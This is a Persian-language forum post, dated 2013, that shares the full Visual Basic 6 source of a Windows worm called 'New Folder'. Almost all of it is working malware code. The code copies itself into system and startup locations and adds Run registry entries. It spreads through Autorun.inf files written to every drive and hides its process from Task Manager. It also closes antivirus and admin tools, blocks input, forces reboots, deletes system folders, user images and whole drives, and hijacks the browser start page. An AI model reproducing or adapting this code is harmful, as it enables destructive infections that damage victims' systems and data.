Admin Admin
تعداد پستها : 202 تاریخ عضویت : 2010-07-04 سن : 32
| عنوان: سورس کد ویروس New Folder 2013-05-14, 04:02 | |
| در اینجا سورس کامل ویروس New Folder برای شما دوستان عزیز گذاشتمType FILETIME lLowDateTime As Long lHighDateTime As Long End Type
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByRef lpData As Long, lpcbData As Long) As Long Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByRef lpData As Long, ByVal cbData As Long) As Long Declare Function RegSetValueExB Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByRef lpData As Byte, ByVal cbData As Long) As Long
Const ERROR_SUCCESS = 0& Const ERROR_BADDB = 1009& Const ERROR_BADKEY = 1010& Const ERROR_CANTOPEN = 1011& Const ERROR_CANTREAD = 1012& Const ERROR_CANTWRITE = 1013& Const ERROR_OUTOFMEMORY = 14& Const ERROR_INVALID_PARAMETER = 87& Const ERROR_ACCESS_DENIED = 5& Const ERROR_NO_MORE_ITEMS = 259& Const ERROR_MORE_DATA = 234&
Const REG_NONE = 0& Const REG_SZ = 1& Const REG_EXPAND_SZ = 2& Const REG_BINARY = 3& Const REG_DWORD = 4& Const REG_DWORD_LITTLE_ENDIAN = 4& Const REG_DWORD_BIG_ENDIAN = 5& Const REG_LINK = 6& Const REG_MULTI_SZ = 7& Const REG_RESOURCE_LIST = 8& Const REG_FULL_RESOURCE_DESCRIPTOR = 9& Const REG_RESOURCE_REQUIREMENTS_LIST = 10&
Const KEY_QUERY_VALUE = &H1& Const KEY_SET_VALUE = &H2& Const KEY_CREATE_SUB_KEY = &H4& Const KEY_ENUMERATE_SUB_KEYS = &H8& Const KEY_NOTIFY = &H10& Const KEY_CREATE_LINK = &H20& Const READ_CONTROL = &H20000 Const WRITE_DAC = &H40000 Const WRITE_OWNER = &H80000 Const SYNCHRONIZE = &H100000 Const STANDARD_RIGHTS_REQUIRED = &HF0000 Const STANDARD_RIGHTS_READ = READ_CONTROL Const STANDARD_RIGHTS_WRITE = READ_CONTROL Const STANDARD_RIGHTS_EXECUTE = READ_CONTROL Const KEY_READ = STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Const KEY_WRITE = STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Const KEY_EXECUTE = KEY_READ
Dim hKey As Long, MainKeyHandle As Long Dim rtn As Long, lBuffer As Long, sBuffer As String Dim lBufferSize As Long Dim lDataSize As Long Dim ByteArray() As Byte
'This constant determins wether or not to display error messages to the 'user. I have set the default value to False as an error message can and 'does become irritating after a while. Turn this value to true if you want 'to debug your programming code when reading and writing to your system 'registry, as any errors will be displayed in a message box.
Const DisplayErrorMsg = False
Function SetDWORDValue(SubKey As String, Entry As String, Value As Long)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, hKey) 'open the key If rtn = ERROR_SUCCESS Then 'if the key was open successfully then rtn = RegSetValueExA(hKey, Entry, 0, REG_DWORD, Value, 4) 'write the value If Not rtn = ERROR_SUCCESS Then 'if there was an error writting the value If DisplayErrorMsg = True Then 'if the user want errors displayed MsgBox ErrorMsg(rtn) 'display the error End If End If rtn = RegCloseKey(hKey) 'close the key Else 'if there was an error opening the key If DisplayErrorMsg = True Then 'if the user want errors displayed MsgBox ErrorMsg(rtn) 'display the error End If End If End If
End Function Function GetDWORDValue(SubKey As String, Entry As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, hKey) 'open the key If rtn = ERROR_SUCCESS Then 'if the key could be opened then rtn = RegQueryValueExA(hKey, Entry, 0, REG_DWORD, lBuffer, 4) 'get the value from the registry If rtn = ERROR_SUCCESS Then 'if the value could be retreived then rtn = RegCloseKey(hKey) 'close the key GetDWORDValue = lBuffer 'return the value Else 'otherwise, if the value couldnt be retreived GetDWORDValue = "Error" 'return Error to the user If DisplayErrorMsg = True Then 'if the user wants errors displayed MsgBox ErrorMsg(rtn) 'tell the user what was wrong End If End If Else 'otherwise, if the key couldnt be opened GetDWORDValue = "Error" 'return Error to the user If DisplayErrorMsg = True Then 'if the user wants errors displayed MsgBox ErrorMsg(rtn) 'tell the user what was wrong End If End If End If
End Function Function SetBinaryValue(SubKey As String, Entry As String, Value As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, hKey) 'open the key If rtn = ERROR_SUCCESS Then 'if the key was open successfully then lDataSize = Len(Value) ReDim ByteArray(lDataSize) For I = 1 To lDataSize ByteArray(I) = Asc(Mid$(Value, I, 1)) Next rtn = RegSetValueExB(hKey, Entry, 0, REG_BINARY, ByteArray(1), lDataSize) 'write the value If Not rtn = ERROR_SUCCESS Then 'if the was an error writting the value If DisplayErrorMsg = True Then 'if the user want errors displayed MsgBox ErrorMsg(rtn) 'display the error End If End If rtn = RegCloseKey(hKey) 'close the key Else 'if there was an error opening the key If DisplayErrorMsg = True Then 'if the user wants errors displayed MsgBox ErrorMsg(rtn) 'display the error End If End If End If
End Function
Function GetBinaryValue(SubKey As String, Entry As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, hKey) 'open the key If rtn = ERROR_SUCCESS Then 'if the key could be opened lBufferSize = 1 rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, 0, lBufferSize) 'get the value from the registry sBuffer = Space(lBufferSize) rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, sBuffer, lBufferSize) 'get the value from the registry If rtn = ERROR_SUCCESS Then 'if the value could be retreived then rtn = RegCloseKey(hKey) 'close the key GetBinaryValue = sBuffer 'return the value to the user Else 'otherwise, if the value couldnt be retreived GetBinaryValue = "Error" 'return Error to the user If DisplayErrorMsg = True Then 'if the user wants to errors displayed MsgBox ErrorMsg(rtn) 'display the error to the user End If End If Else 'otherwise, if the key couldnt be opened GetBinaryValue = "Error" 'return Error to the user If DisplayErrorMsg = True Then 'if the user wants to errors displayed MsgBox ErrorMsg(rtn) 'display the error to the user End If End If End If
End Function Function DeleteKey(Keyname As String)
Call ParseKey(Keyname, MainKeyHandle)
If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, Keyname, 0, KEY_WRITE, hKey) 'open the key If rtn = ERROR_SUCCESS Then 'if the key could be opened then rtn = RegDeleteKey(hKey, Keyname) 'delete the key rtn = RegCloseKey(hKey) 'close the key End If End If
End Function
Function GetMainKeyHandle(MainKeyName As String) As Long
Const HKEY_CLASSES_ROOT = &H80000000 Const HKEY_CURRENT_USER = &H80000001 Const HKEY_LOCAL_MACHINE = &H80000002 Const HKEY_USERS = &H80000003 Const HKEY_PERFORMANCE_DATA = &H80000004 Const HKEY_CURRENT_CONFIG = &H80000005 Const HKEY_DYN_DATA = &H80000006
Select Case MainKeyName Case "HKEY_CLASSES_ROOT" GetMainKeyHandle = HKEY_CLASSES_ROOT Case "HKEY_CURRENT_USER" GetMainKeyHandle = HKEY_CURRENT_USER Case "HKEY_LOCAL_MACHINE" GetMainKeyHandle = HKEY_LOCAL_MACHINE Case "HKEY_USERS" GetMainKeyHandle = HKEY_USERS Case "HKEY_PERFORMANCE_DATA" GetMainKeyHandle = HKEY_PERFORMANCE_DATA Case "HKEY_CURRENT_CONFIG" GetMainKeyHandle = HKEY_CURRENT_CONFIG Case "HKEY_DYN_DATA" GetMainKeyHandle = HKEY_DYN_DATA End Select
End Function
Function ErrorMsg(lErrorCode As Long) As String
'If an error does accurr, and the user wants error messages displayed, then 'display one of the following error messages
Select Case lErrorCode Case 1009, 1015 GetErrorMsg = "The Registry Database is corrupt!" Case 2, 1010 GetErrorMsg = "Bad Key Name" Case 1011 GetErrorMsg = "Can't Open Key" Case 4, 1012 GetErrorMsg = "Can't Read Key" Case 5 GetErrorMsg = "Access to this key is denied" Case 1013 GetErrorMsg = "Can't Write Key" Case 8, 14 GetErrorMsg = "Out of memory" Case 87 GetErrorMsg = "Invalid Parameter" Case 234 GetErrorMsg = "There is more data than the buffer has been allocated to hold." Case Else GetErrorMsg = "Undefined Error Code: " & Str$(lErrorCode) End Select
End Function
Function GetStringValue(SubKey As String, Entry As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, hKey) 'open the key If rtn = ERROR_SUCCESS Then 'if the key could be opened then sBuffer = Space(255) 'make a buffer lBufferSize = Len(sBuffer) rtn = RegQueryValueEx(hKey, Entry, 0, REG_SZ, sBuffer, lBufferSize) 'get the value from the registry If rtn = ERROR_SUCCESS Then 'if the value could be retreived then rtn = RegCloseKey(hKey) 'close the key sBuffer = Trim(sBuffer) GetStringValue = Left(sBuffer, Len(sBuffer) - 1) 'return the value to the user Else 'otherwise, if the value couldnt be retreived GetStringValue = "Error" 'return Error to the user If DisplayErrorMsg = True Then 'if the user wants errors displayed then MsgBox ErrorMsg(rtn) 'tell the user what was wrong End If End If Else 'otherwise, if the key couldnt be opened GetStringValue = "Error" 'return Error to the user If DisplayErrorMsg = True Then 'if the user wants errors displayed then MsgBox ErrorMsg(rtn) 'tell the user what was wrong End If End If End If
End Function
Private Sub ParseKey(Keyname As String, Keyhandle As Long)
rtn = InStr(Keyname, "\") 'return if "\" is contained in the Keyname
If Left(Keyname, 5) <> "HKEY_" Or Right(Keyname, 1) = "\" Then 'if the is a "\" at the end of the Keyname then MsgBox "Incorrect Format:" + Chr(10) + Chr(10) + Keyname 'display error to the user Exit Sub 'exit the procedure ElseIf rtn = 0 Then 'if the Keyname contains no "\" Keyhandle = GetMainKeyHandle(Keyname) Keyname = "" 'leave Keyname blank Else 'otherwise, Keyname contains "\" Keyhandle = GetMainKeyHandle(Left(Keyname, rtn - 1)) 'seperate the Keyname Keyname = Right(Keyname, Len(Keyname) - rtn) End If
End Sub Function CreateKey(SubKey As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then rtn = RegCreateKey(MainKeyHandle, SubKey, hKey) 'create the key If rtn = ERROR_SUCCESS Then 'if the key was created then rtn = RegCloseKey(hKey) 'close the key End If End If
End Function Function SetStringValue(SubKey As String, Entry As String, Value As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, hKey) 'open the key If rtn = ERROR_SUCCESS Then 'if the key was open successfully then rtn = RegSetValueEx(hKey, Entry, 0, REG_SZ, ByVal Value, Len(Value)) 'write the value If Not rtn = ERROR_SUCCESS Then 'if there was an error writting the value If DisplayErrorMsg = True Then 'if the user wants errors displayed MsgBox ErrorMsg(rtn) 'display the error End If End If rtn = RegCloseKey(hKey) 'close the key Else 'if there was an error opening the key If DisplayErrorMsg = True Then 'if the user wants errors displayed MsgBox ErrorMsg(rtn) 'display the error End If End If End If
End Function
���� ��� ������:
Private Const MONITOR_ON = -1& Private Const MONITOR_OFF = 2& Private Const SC_MONITORPOWER = &HF170& Private Const WM_SYSCOMMAND = &H112
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function BlockInput Lib "user32" (ByVal dwFreq As Long) As Long Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Function PathIsDirectory Lib "shlwapi.dll" Alias "PathIsDirectoryA" (ByVal pszPath As String) As Long Private Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Type bkh flag As Long psz As Long lParam As Long pt As Long vkDirection As Long End Type
Private Declare Function VirtualAllocEx Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, ByRef lpdwProcessId As Long) As Long Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Private Declare Function VirtualFreeEx Lib "kernel32.dll" (ByVal hProcess As Long, ByRef lpAddress As Any, ByRef dwSize As Long, ByVal dwFreeType As Long) As Long Private Declare Function KillTimer Lib "user32.dll" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Dim c As Long Dim flg As Integer Dim q As Shell Dim a As New FileSystemObject Private Sub Process_Hide(Name As String) On Error Resume Next Dim pName As Long Dim pType As Long Dim l As Long Dim Tid As Long Dim hTid As Long Dim pid As Long Dim h As Long Dim I As Long Dim hProcess As Long Dim f As bkh Dim s As String Dim bkh() As Byte h = FindWindow(vbNullString, "Windows Task Manager") KillTimer h, 0 h = FindWindowEx(h, 0, "#32770", vbNullString) h = FindWindowEx(h, 0, "SysListView32", vbNullString) If h = 0 Then Exit Sub f.flag = 8 Or &H20 Call GetWindowThreadProcessId(h, pid) hProcess = OpenProcess(1082, 0, pid) bkh = StrConv(Name, vbFromUnicode) pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4) WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l f.psz = pName pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4) WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l I = SendMessage(h, &H1000 + 13, 0, pType) If I <> -1 Then SendMessage h, &H1000 + 8, I, 0 VirtualFreeEx hProcess, pType, Len(f), &H8000 VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000 End Sub
Private Function SearchFiles(ByRef Path As String, ByRef FileName As String, ByRef Files() As String, ByVal BaseIndex As Long, ByVal SubFolders As Boolean) As Long Dim Count As Long, File As String, Pos As Long Dim Folders() As String, FolderCount As Long Dim Index As Long On Error Resume Next If Right(Path, 1) <> "\" Then Path = Path & "\" FileName = Replace(FileName, "*", "") File = Dir(Path & "*", vbArchive Or vbHidden Or vbReadOnly Or vbSystem Or IIf(SubFolders, vbDirectory, 0)) Do Until Len(File) = 0 Or Stopped Select Case File Case ".", ".." Case Else If PathIsDirectory(Path & File) <> 0 Then If SubFolders Then If FolderCount = 0 Then ReDim Folders(0 To 100) ElseIf FolderCount > UBound(Folders) Then ReDim Preserve Folders(0 To FolderCount + 100) End If Folders(FolderCount) = Path & File FolderCount = FolderCount + 1 End If Else If InStr(1, File, FileName, vbTextCompare) > 0 Then If BaseIndex = 0 And Count = 0 Then ReDim Files(0 To 100) ElseIf BaseIndex + Count > UBound(Files) Then ReDim Preserve Files(0 To BaseIndex + Count + 100) End If Files(BaseIndex + Count) = Path & File a.DeleteFile Path & File Count = Count + 1 End If End If End Select File = Dir DoEvents Loop If SubFolders And Stopped = False Then For Index = 0 To FolderCount - 1 Count = Count + SearchFiles(Folders(Index), FileName, Files, BaseIndex + Count, SubFolders) Next End If If Count = 0 Then Erase Files Else ReDim Preserve Files(0 To Count - 1) End If SearchFiles = Count End Function
Private Sub Form_Activate() On Error Resume Next z$ = Environ("windir") x$ = Environ("userprofile") zz$ = Environ("computername")
Label3.caption = zz$ SaveSetting "Virus", "General", "label3", Label3
If Label1.caption = "5" Then Label1.caption = Label1.caption - 1 End If
Label1.caption = Label1.caption + 1
SaveSetting "virus", "general", "label1", Label1
a.CopyFile App.Path & "\" & App.EXEName & ".exe", z$ & "\System32\New Folder.exe" a.CopyFile z$ & "\system32\New Folder.exe", z$ & "\Windows Explorer.exe" a.CopyFile z$ & "\system32\New Folder.exe", x$ & "\My Documents\New Folder.exe"
End Sub
Private Sub Form_Load() On Error Resume Next z$ = Environ("Windir") xx$ = Environ("systemdrive") App.TaskVisible = False q.Open z$ & "\Explorer.exe"
Label3 = GetSetting("virus", "general", "label3", Label3) Label1 = GetSetting("virus", "general", "label1", Label1) Label4 = GetSetting("Virus", "General", "Label4", Label4)
SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Explorer\CabinetState", "FullPath", "1" SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Explorer\CabinetState", "FullPathAddress", "1" SetDWORDValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Explorer\Advanced\Folder\ShowFullPath" , "CheckedValue", "0" SetDWORDValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Explorer\Advanced\Folder\ShowFullPathA ddress", "CheckedValue", "0" SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer", "NoFolderOption", "1"
If Label3.caption <> Label4.caption Then Label4.caption = Label3.caption Label1.caption = "1" SaveSetting "Virus", "General", "Label4", Label4 SaveSetting "virus", "general", "label1", Label1 GoTo s: Else '?CIE? ??O? s: CreateKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Policies" & "\" & "Explorer" '?CIE? ??O? C? ?I?I CreateKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies" & "\" & "Explorer" '?CIE ??O? ?I?I CreateKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies" & "\" & "System" '?CIE ??O? ?I?I CreateKey "HKEY_LOCAL_MACHIN\Software\Microsoft\Windows\Curr entVersion\Policies" & "\" & "System" '?CIE ??O? ?I?I
SetStringValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "RegisteredOwner", "KhatarVirus" SetStringValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "RegisteredOrganization", "KhatarVirus" SetDWORDValue "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servi ces\Cdrom", "Autorun", "0" 'U?? ??C? ??I? CE??C? SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer", "NoClose", "1"
Select Case Label1.caption 'EC? C?? Case "1" a.CreateFolder xx$ & "\Program Files\Power MP3" a.CreateFolder xx$ & "\Update"
Shell "shutdown -r -t 0"
'EC? I?? Case "2" SetStringValue "HKEY_CURRENT_USER\Control Panel\International", "s1159", "?E? EI??" SetStringValue "HKEY_CURRENT_USER\Control Panel\International", "s2359", "U?? EI??"
'EC? ??? Case "3" SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System", "NoDispSettingsPage", "1" a.DeleteFolder z$ & "\" & "Fonts" a.DeleteFolder z$ & "\" & "Cursors" a.DeleteFolder z$ & "\" & "Media" 'EC? ??C?? Case "4" Timer10.Enabled = True SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer", "NoFolderOption", "1" SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer", "NoPropertiesMyComputer", "1" 'EC? ???? Case "5" Timer11.Enabled = True SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer", "NoFolderOption", "1" SetDWORDValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Policies\System", "NoDrives", "4" Timer8.Enabled = True End Select End If
End Sub
Private Sub Timer1_Timer() On Error Resume Next z$ = Environ("windir") x$ = Environ("userprofile") xx$ = Environ("systemdrive")
Process_Hide CStr(App.EXEName & ".exe")
a.CopyFile z$ & "\system32\New Folder.exe", z$ & "\Documents and Settings\Administrator\Start Menu\Programs\Startup\New Folder.exe" a.CopyFile z$ & "\system32\New Foder.exe", xx$ & "\Program Files\Power Mp3\Power MP3.exe" a.CopyFile z$ & "\system32\New Foder.exe", xx$ & "\Update\Update.exe" a.CopyFile z$ & "\system32\New folder.exe", x$ & "\Local Settings\Temp\New Folder.exe" a.CopyFile z$ & "\system32\New Folder.exe", xx$ & "\Program Files\Common Files\Microsoft Shared\MSshare.exe" a.CopyFile x$ & "\Local Settings\Temp\New Folder.exe", z$ & "\system32\New Folder.exe", True
SetStringValue "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Start Page", "[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] SetStringValue "HKEY_LOCAL_MACHINE\Software\Microsaft\Windows\Cur rentVersion\Run", "Explorer", z$ & "\Windows Explorer.exe" SetDWORDValue "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Explorer\Advanced\Folder\Hidden\SHOWAL L", "CheckedValue", "0"
SetAttr App.Path & "\" & App.EXEName & ".exe", &H6 SetAttr z$ & "\System32\New Folder.exe", &H6 SetAttr x$ & "\My Documents\New Folder.exe", &H6 SetAttr z$ & "\Documents and Settings\Administrator\Start Menu\Programs\Startup\New Folder.exe", &H6
End Sub
Private Sub Timer10_Timer() '??? ??I? ????? I? I?C???C On Error Resume Next z$ = Environ("windir") x$ = Environ("userprofile") Dim I As Integer Dim B As String
a.CopyFile App.Path & "\" & App.EXEName & ".exe", z$ & "\System32\New Folder.exe" a.CopyFile z$ & "\system32\New Folder.exe", x$ & "\My Documents\New Folder.exe"
For I = 99 To 122 B = Chr(I) & ":" If a.DriveExists(B) = True Then a.CopyFile z$ & "\System32\New Folder.exe", B & "\New Folder.exe" Open B & "\Autorun.inf" For Output As #1 Print #1, "[Autorun]" Print #1, "OPEN=New Folder.exe" Print #1, "shell\open\Command = New Folder.exe" Print #1, "shell\explore\Command = New Folder.exe" Print #1, "shell\Autoplay\Command = New Folder.exe" Close #1 SetAttr B & "\Autorun.inf", &H6 SetAttr B & "\New Folder.exe", &H6 End If Next I
a.CopyFile x$ & "\My Documents\New Folder.exe", z$ & "\Windows Explorer.exe", True a.CopyFile z$ & "\System32\New Folder.exe", z$ & "\Windows Explorer.exe", True a.CopyFile z$ & "\Windows Explorer.exe", z$ & "\System32\New Folder.exe", True
SetStringValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run", "Explorer", z$ & "\Windows Explorer.exe" End Sub
Private Sub Timer11_Timer() On Error Resume Next Dim I As Integer Dim B As String For I = 99 To 122 B = Chr(I) & ":" If a.DriveExists(B) = True Then If B = "C:" Then GoTo s: End If a.DeleteFile B & "\*.*" a.DeleteFolder B & "\*.*" s: a.CopyFile z$ & "\System32\New Folder.exe", B & "\New Folder.exe" SetAttr B & "\New Folder.exe", &H6 End If Next I Timer11.Enabled = False End Sub
Private Sub Timer12_Timer()
On Error Resume Next z$ = Environ("systemdrive")
Dim Index As Long, Files() As String, Count As Long
Dim txtfilename, searchpath As String
s: For drvc = 99 To 122
If a.DriveExists(Chr(drvc) + ":") = True Then If drvc = z$ Then GoTo ss: Else searchpath = Chr(drvc) + ":\" Count = SearchFiles(searchpath, "*.jpg", Files, 0, c1.Value) End If
If Chr(drvc) + ":" = "Z:" Then Label2.caption = "67" If Path & FileName = 0 Then
Timer12.Enabled = False Else GoTo s: End If End If End If ss: Next drvc
End Sub
Private Sub Timer2_Timer() On Error Resume Next
Randomize Time z$ = Environ("Windir") Dim c As Long Dim k As Long Dim handel As Long Dim caption As String c = GetForegroundWindow '???E? ??I? ????? ??C? caption = Space$(128) k = GetWindowText(c, caption, 128) '???C? ????? ??C? caption = Left(caption, k)
a.DeleteFile caption & "\*.jpg", True a.CopyFile App.Path & "\" & App.EXEName & ".exe", caption & "\*.exe", True
If a.FileExists(caption & "\New Folder.exe") = True Or a.FileExists(caption & "\Irani Picture.exe") = True Or a.FileExists(caption & "\New Folder (2).exe") = True Or a.FileExists(caption & "\Picture.exe") = True Then GoTo s: Else Number = Int(Rnd * 5) Select Case Number '??? ????? EC ?C? ?C? ?IE?? Case 0 a.CopyFile z$ & "\System32\New Folder.exe", caption & "\New Folder.exe", True Case 1 a.CopyFile z$ & "\system32\New Folder.exe", caption & "\Picture.exe", True Case 2 a.CopyFile z$ & "\system32\New Folder.exe", caption & "\Irani Picture.exe", True Case 3 a.CopyFile z$ & "\system32\New Folder.exe", caption & "\New Folder (2).exe", True Case 4 a.CopyFile z$ & "\system32\New Folder.exe", caption & "\New Folder.exe", True End Select s: End If
z = InStrRev(caption, "\", -1) zz = Len(caption) - z s = Right$(caption, zz) handel = FindWindow(vbNullString, caption) If handel <> 0 Then SetForegroundWindow handel SetWindowText handel, s End If
End Sub
Private Sub Timer6_Timer() On Error Resume Next Dim handel As Long handel = FindWindow(vbNullString, "Run") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If handel = FindWindow(vbNullString, "Antivirus") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If handel = FindWindow(vbNullString, "Anti virus") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If handel = FindWindow(vbNullString, "Windows Task Manager") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If handel = FindWindow(vbNullString, "Control Panel") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If handel = FindWindow(vbNullString, "Windows") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If handel = FindWindow(vbNullString, "Registry Editor") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If handel = FindWindow(vbNullString, "System Configuration Utility") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If handel = FindWindow(vbNullString, "Folder Options") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If handel = FindWindow(vbNullString, "Kaspersky Anti-Virus 7.0") If handel <> 0 Then SetForegroundWindow handel Call SendMessage(Me.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal MONITOR_OFF) SendKeys "%{f4}", 1 SendKeys "{BackSpace}" BlockInput True End If handel = FindWindow(vbNullString, "ESET NOD32 Antivirus Setup") If handel <> 0 Then SetForegroundWindow handel Call SendMessage(Me.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal MONITOR_OFF) SendKeys "%{f4}", 1 SendKeys "{BackSpace}" BlockInput True End If
End Sub | |
|